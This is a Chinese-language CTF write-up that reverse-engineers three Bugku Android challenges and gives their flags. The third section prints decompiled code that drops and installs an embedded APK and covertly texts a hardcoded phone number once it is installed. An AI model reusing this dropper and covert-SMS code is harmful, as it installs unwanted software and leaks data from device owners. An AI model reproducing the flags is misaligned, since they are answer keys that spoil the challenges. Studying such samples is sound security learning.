最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习,也欢迎大家相互交流, 发现不
一样的世界。
一、 signin
考点:反编译、静态分析
Topic Link:https://ctf.bugku.com/files/109fa055c682e810684427c123a0833b/sign_in.zip
signin 软件介绍:
1. 开始界面
2. 当输入的字符串有误时,会显示:Try again.
题目分析:
1. 刚开始直接使用了 Android killer工具进行反编译,但是不能够查看Java源码 (有点不够意思,有时候Android killer自动化工具并不好用),但是这并不能阻挡我们查看想要的Java源码 (dex2jar-2.0工具的利用)
2. 先将该APK解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件
3. 利用jd-gui-1.4.0.jar工具打开步骤2中的.jar文件
4. 提取我们想要的Java源代码
package re.sdnisc2018.sdnisc_apk1;
import android.content.Context;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Base64;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity
extends AppCompatActivity
{
private String getFlag()
{
return getBaseContext().getString(2131427360);
}
private void showMsgToast(String paramString)
{
Toast.makeText(this, paramString, 1).show();
}
public void checkPassword(String paramString)
{
if (paramString.equals(new String(Base64.decode(new StringBuffer(getFlag()).reverse().toString(), 0))))
{
showMsgToast("Congratulations !");
return;
}
showMsgToast("Try again.");
}
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131296283);
((Button)findViewById(2131165261)).setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
paramAnonymousView = ((EditText)MainActivity.this.findViewById(2131165253)).getText().toString();
MainActivity.this.checkPassword(paramAnonymousView);
}
});
}
}
分析代码可知:
1. 在 checkPassword()函数中,判断用户的输入是否正确,与用户相匹配的字符串是经过getFlag()函数返回的值处理之后的。
2. 将目标定位到getFlag()函数中,获取其返回值。
分析getFlag()函数代码片段:
return getBaseContext().getString(2131427360);
函数的返回值和 “2131427360” 有关,该字符串为资源ID,一般存储在R.java文件中,ID对应的资源一般存储在strings.xml文件中。
4. 在R.java文件中,查找资源ID
根据资源ID对应的变量名“toString”在strings.xml文件中找到对应的值
5. 将字符串“991YiZWOz81ZhFjZfJXdwk3X1k2XzIXZIt3ZhxmZ”进行反转(reverse()函数影响),然后进行base64解密
6. 测试输入正确字符串
get flag:
flag{Her3_i5_y0ur_f1ag_39fbc_}
二、mobile1(gctf)
考点:反编译、静态分析
Topic Link:https://ctf.bugku.com/files/7c43d693909d6dbfd7ad7d5a0866548b/gctf_mobile1.apk
mobile1(gctf) 软件介绍:
1. 开始界面
2. 当输入的字符串有误时,会显示:错误!
题目分析:
1. 先将该APK解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件
2. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件
3. 提取主要的Java源代码
package com.example.crackme;
import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class MainActivity
extends Activity
{
private Button btn_register;
private EditText edit_sn;
String edit_userName;
private boolean checkSN(String paramString1, String paramString2)
{
if (paramString1 != null) {
try
{
if (paramString1.length() == 0) {
return false;
}
if ((paramString2 != null) && (paramString2.length() == 22))
{
Object localObject = MessageDigest.getInstance("MD5");
((MessageDigest)localObject).reset();
((MessageDigest)localObject).update(paramString1.getBytes());
paramString1 = toHexString(((MessageDigest)localObject).digest(), "");
localObject = new StringBuilder();
int i = 0;
while (i < paramString1.length())
{
((StringBuilder)localObject).append(paramString1.charAt(i));
i += 2;
}
paramString1 = ((StringBuilder)localObject).toString();
boolean bool = ("flag{" + paramString1 + "}").equalsIgnoreCase(paramString2);
if (bool) {
return true;
}
}
}
catch (NoSuchAlgorithmException paramString1)
{
paramString1.printStackTrace();
}
}
return false;
}
private static String toHexString(byte[] paramArrayOfByte, String paramString)
{
StringBuilder localStringBuilder = new StringBuilder();
int j = paramArrayOfByte.length;
int i = 0;
while (i < j)
{
String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
if (str.length() == 1) {
localStringBuilder.append('0');
}
localStringBuilder.append(str).append(paramString);
i += 1;
}
return localStringBuilder.toString();
}
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968601);
setTitle(2131099677);
this.edit_userName = "Tenshine";
this.edit_sn = ((EditText)findViewById(2131492945));
this.btn_register = ((Button)findViewById(2131492946));
this.btn_register.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))
{
Toast.makeText(MainActivity.this, 2131099678, 0).show();
return;
}
Toast.makeText(MainActivity.this, 2131099675, 0).show();
MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(2131099673);
}
});
}
public boolean onCreateOptionsMenu(Menu paramMenu)
{
getMenuInflater().inflate(2131558400, paramMenu);
return true;
}
}
分析代码可知:
1. 将主要目光定在checkSN()函数上,分析该函数发现,需要满足几个条件:
1. 第一个参数paramString1 !=null&字符串长度 !=0
2. 第二个参数paramString2 !=null&字符串长度 ==22
3. 将第一个参数paramString1 经过MD5加密之后,取其偶数位组成字符串(16位)
4. 第三步里面产生的字符串与 “flag{}”组合(16+6=22)要与参数paramString2相等
2. 有上一步的分析可知,需要查看参数paramString1和参数paramString2的赋值情况,搜索谁调用了checkSN()函数,搜索之后将目标定在onCreate()函数上
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968601);
setTitle(2131099677);
this.edit_userName = "Tenshine";
this.edit_sn = ((EditText)findViewById(2131492945));
this.btn_register = ((Button)findViewById(2131492946));
this.btn_register.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))
{
Toast.makeText(MainActivity.this, 2131099678, 0).show();
return;
}
Toast.makeText(MainActivity.this, 2131099675, 0).show();
MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(2131099673);
}
});
}
分析该函数可知:
1. paramString1="Tenshine"
2. paramString2="用户输入的字符串"
3. 既然知道了参数paramString1的值,直接将paramString1进行MD5加密,取其偶数位,与"flag{}"进行组合得到最终FLAG
md5(Tenshine,32) = b9c77224ff234f27ac6badf83b855c76
FLAG:flag{bc72f242a6af3857}
4. 测试输入正确字符串
get flag:
flag{bc72f242a6af3857}
三、mobile2(gctf)
考点:反编译、静态分析、脑洞
Topic Link:https://ctf.bugku.com/files/d1a2520c55a335d83646ce8a724dbebb/eb1fd250-7c32-418c-b287-1b00dcc53852.zip
题目分析
1. 下载下来的是zip格式的文件,不过和APK一样,于是将其后缀改为.apk,可是却不能成功安装,只有先反编译查看源码 *_*
2. 先将该压缩包解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件
3. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件
4. 提取主要的Java源代码
package com.example.mmsheniq;
import android.annotation.SuppressLint;
import android.app.AlertDialog.Builder;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.telephony.SmsManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.List;
@SuppressLint({"DefaultLocale"})
public class MainActivity
extends ActionBarActivity
{
Button button1;
Button button2;
ArrayList<String> packagNameList;
EditText pass;
private MyReceiver receiver;
private boolean detectApk(String paramString)
{
return this.packagNameList.contains(paramString.toLowerCase());
}
private boolean goToNetWork()
{
ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
if (localConnectivityManager.getNetworkInfo(1).getState() != null) {}
while (localConnectivityManager.getNetworkInfo(0).getState() != null) {
return true;
}
return false;
}
private void initpackagNameList()
{
this.packagNameList = new ArrayList();
List localList = getPackageManager().getInstalledPackages(0);
int i = 0;
for (;;)
{
if (i >= localList.size()) {
return;
}
PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
this.packagNameList.add(localPackageInfo.packageName.toLowerCase());
i += 1;
}
}
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
requestWindowFeature(1);
setContentView(2130903064);
initpackagNameList();
System.out.println("host��������==============================");
this.receiver = new MyReceiver(null);
paramBundle = new IntentFilter("android.intent.action.PACKAGE_ADDED");
paramBundle.addDataScheme("package");
registerReceiver(this.receiver, paramBundle);
if (!detectApk("com.example.com.android.trogoogle"))
{
System.out.println("host��������==============================");
paramBundle = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
retrieveApkFromAssets(this, "com.android.Trogoogle.apk", paramBundle);
showInstallConfirmDialog(this, paramBundle);
}
this.pass = ((EditText)findViewById(2131034176));
this.button1 = ((Button)findViewById(2131034177));
this.button1.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
{
paramAnonymousView = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", paramAnonymousView);
MainActivity.this.showInstallConfirmDialog(MainActivity.this, paramAnonymousView);
return;
}
if (!MainActivity.this.goToNetWork())
{
Toast.makeText(MainActivity.this, "��������������������������", 0).show();
return;
}
if (MainActivity.this.pass.getText().toString().length() >= 6)
{
Toast.makeText(MainActivity.this, "����������������...", 0).show();
Toast.makeText(MainActivity.this, "����������������������", 0).show();
return;
}
Toast.makeText(MainActivity.this, "����������������������", 0).show();
}
});
this.button2 = ((Button)findViewById(2131034178));
this.button2.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
}
});
}
public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
bool = false;
try
{
paramString2 = new File(paramString2);
if (paramString2.exists()) {
return true;
}
paramString2.createNewFile();
paramString1 = paramContext.getAssets().open(paramString1);
paramString2 = new FileOutputStream(paramString2);
byte[] arrayOfByte = new byte['?'];
for (;;)
{
int i = paramString1.read(arrayOfByte);
if (i == -1)
{
paramString2.flush();
paramString2.close();
paramString1.close();
bool = true;
break;
}
paramString2.write(arrayOfByte, 0, i);
}
return bool;
}
catch (IOException paramString1)
{
Toast.makeText(paramContext, paramString1.getMessage(), 2000).show();
paramContext = new AlertDialog.Builder(paramContext);
paramContext.setMessage(paramString1.getMessage());
paramContext.show();
paramString1.printStackTrace();
}
}
public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setIcon(2130837592);
localBuilder.setTitle("������������");
localBuilder.setMessage("������������������������������APK��������������������");
localBuilder.setPositiveButton("����", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
try
{
paramAnonymousDialogInterface = "chmod 777 " + paramString;
Runtime.getRuntime().exec(paramAnonymousDialogInterface);
paramAnonymousDialogInterface = new Intent("android.intent.action.VIEW");
paramAnonymousDialogInterface.addFlags(268435456);
paramAnonymousDialogInterface.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
paramContext.startActivity(paramAnonymousDialogInterface);
return;
}
catch (IOException paramAnonymousDialogInterface)
{
for (;;)
{
paramAnonymousDialogInterface.printStackTrace();
}
}
}
});
localBuilder.show();
}
private class MyReceiver
extends BroadcastReceiver
{
private MyReceiver() {}
public void onReceive(Context paramContext, Intent paramIntent)
{
System.out.println("MyReceiver ��������==========================");
if (paramIntent.getAction().equals("android.intent.action.PACKAGE_ADDED"))
{
paramContext.startActivity(new Intent(paramContext, MainActivity.class));
System.out.println(" ������ Ok!==============================");
paramIntent = new Intent("android.intent.action.MAIN");
paramIntent.addFlags(268435456);
paramIntent.addCategory("android.intent.category.LAUNCHER");
paramIntent.setComponent(new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity"));
paramContext.startActivity(paramIntent);
System.out.println(" ���� Ok!==============================");
SmsManager.getDefault().sendTextMessage("15918661173", null, " Tro instanll Ok", null, null);
System.out.println(" �������� Ok!==============================");
}
}
}
}
5. 分析代码并没有找到什么关于flag的线索,同时软件也不能运行,发现毫无提示,于是猜测flag可能藏在某个文件中,其中可疑的文件主要有strings.xml、AndroidManifest.xml,用工具010 Editor打开进行搜索,发现flag存在于AndroidManifest.xml中
get flag:
flag{8d6efd232c63b7d2}
update + ing